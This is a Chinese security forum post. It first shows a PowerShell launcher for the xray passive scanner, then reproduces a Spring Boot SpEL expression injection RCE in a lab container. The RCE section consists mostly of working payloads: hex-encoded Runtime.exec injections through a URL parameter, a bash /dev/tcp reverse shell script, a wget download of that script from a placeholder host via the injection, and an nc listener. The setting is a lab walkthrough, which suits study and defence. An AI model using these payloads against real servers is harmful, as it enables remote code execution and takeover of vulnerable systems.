安全矩阵

 找回密码
 立即注册
搜索
查看: 4574|回复: 0

xray快捷启动它来了+昨天的文章

[复制链接]

991

主题

1063

帖子

4315

积分

论坛元老

Rank: 8Rank: 8

积分
4315
发表于 2020-8-8 08:00:02 | 显示全部楼层 |阅读模式
原文链接:xray快捷启动它来了+昨天的文章

开始啦

在xray文件夹新建一个powershell文件(记事本新建即可)
内容如
  1. $time = Get-Date -Format 'yyyy年MM月dd日hh时mm分ss秒的被动扫描报告'
  2. ./xray_windows_amd64.exe webscan --listen 127.0.0.1:7777 --html-output $time".html"
复制代码



另存为.ps1文件
要运行的时候右击该文件

选择使用PowerShell运行即可

完美,生成的报告文件格式是年月日的,例如
2020年05月06日07时33分51秒的被动扫描报告.html

简直不要太舒服。。。
如果无法运行,请确认你的电脑是否允许ps1文件运行,这个可以根据错误信息百度一下就好啦。。。
发现昨天的文章payload似乎没发拉伸,今天重新发吧

springboot_spEL表达式注入

1 前言
环境有打包成jar的环境以及docker环境
打包成jar的环境则是在windows运行的
jar包的需要jre1.8环境运行
jar环境后台回复“spel注入环境”即可
docker环境
使用如下命令下载
docker pull c1o2a3/springboot_spel_rce_bug:1.0
环境源码
https :// github.com/LandGrey/SpringBootVulExploit/tree/master/repository/springboot-spel-rce

2 利用条件

至少知道一个触发 springboot 默认错误页面的接口及参数名


3 漏洞影响
spring boot 1.1.0-1.1.12、1.2.0-1.2.7、1.3.0


4 漏洞分析文章

SpringBoot SpEL表达式注入漏洞-分析与复现
https :// www.cnblogs.com/litlife/p/10183137.html


5 漏洞原理
  • spring boot 处理参数值出错,流程进入 org.springframework.util.PropertyPlaceholderHelper 类中
  • 此时 URL 中的参数值会用 parseStringValue 方法进行递归解析
  • 其中  ${}  包围的内容都会被 org.springframework.boot.autoconfigure.web.ErrorMvcAutoConfiguration 类的 resolvePlaceholder 方法当作 SpEL 表达式被解析执行,造成 RCE 漏洞




6 复现过程

jar(windows环境下复现,弹计算器)


访问127.0.0.1:9091
步骤一:找到一个正常传参处
比如发现访问 /article?id=xxx ,页面会报状态码为 500 的错误:Whitelabel Error Page,则后续 payload 都将会在参数 id 处尝试。

步骤二:执行 SpEL 表达式
输入 /article?id=${7*7} ,如果发现报错页面将 7*7 的值 49 计算出来显示在报错页面上,那么基本可以确定目标存在 SpEL 表达式注入漏洞。


由字符串格式转换成 `0x**` java 字节形式,方便执行任意代码:
转化的python脚本为

  1. # coding: utf-8

  2. result = ""
  3. target = 'calc'
  4. for x in target:
  5.     result += hex(ord(x)) + ","
  6. print(result.rstrip(','))
复制代码
  1. 执行 open -a Calculator 命令

  2. ${T(java.lang.Runtime).getRuntime().exec(new String(new byte[]{0x6f,0x70,0x65,0x6e,0x20,0x2d,0x61,0x20,0x43,0x61,0x6c,0x63,0x75,0x6c,0x61,0x74,0x6f,0x72}))}
复制代码

弹计算器





访问127.0.0.1:9091/article?id=${T(java.lang.Runtime).getRuntime().exec(new String(new byte[]{0x63,0x61,0x6c,0x63}))}

好了,结束了。。。再见。。。
开玩笑
试一下linux反弹shell
发现在linux上面好像不能直接bash反弹shell,jio得很奇怪啊?
启动docker环境
sudo docker run -d -p 9091:9091 c1o2a3/springboot_spel_rce_bug:1.0
访问ip:9091







直接执行bash反弹
发现没用



虽然执行成功了,但是没有收到任何响应
想了想,可不可以使用wget或者curl去下载一个脚本,然后运行呢?
vim一个1.sh,内容如下

  1. #!/bin/bash
  2. bash -i >& /dev/tcp/xxx.xxx.xxx.xxx/7777 0>&1
复制代码

开台机器nc监听777端口

nc -lvvp 7777然后依次是
wget http://xxx.xxx.xxx/1.sh转换之后访问就是

  1. http://ip:9091/article?id=${T(java.lang.Runtime).getRuntime().exec(new String(new byte[]{0x77,0x67,0x65,0x74,0x20,0x68,0x74,0x74,0xaa,0xaa,0xaa,0xaa,0xaa,0x37,0x2e,0xaa,0x30,0xaa,0x2e,0x31,0x39,0x39,0x2e,0x32,0x32,0x2f,0x31,0x2e,0x73,0x68}))}
复制代码

进入docker环境发现确实下载了





下载完后执行sh文件,ok
bash 1.sh
成功反弹








回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-11-28 03:32 , Processed in 0.013936 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表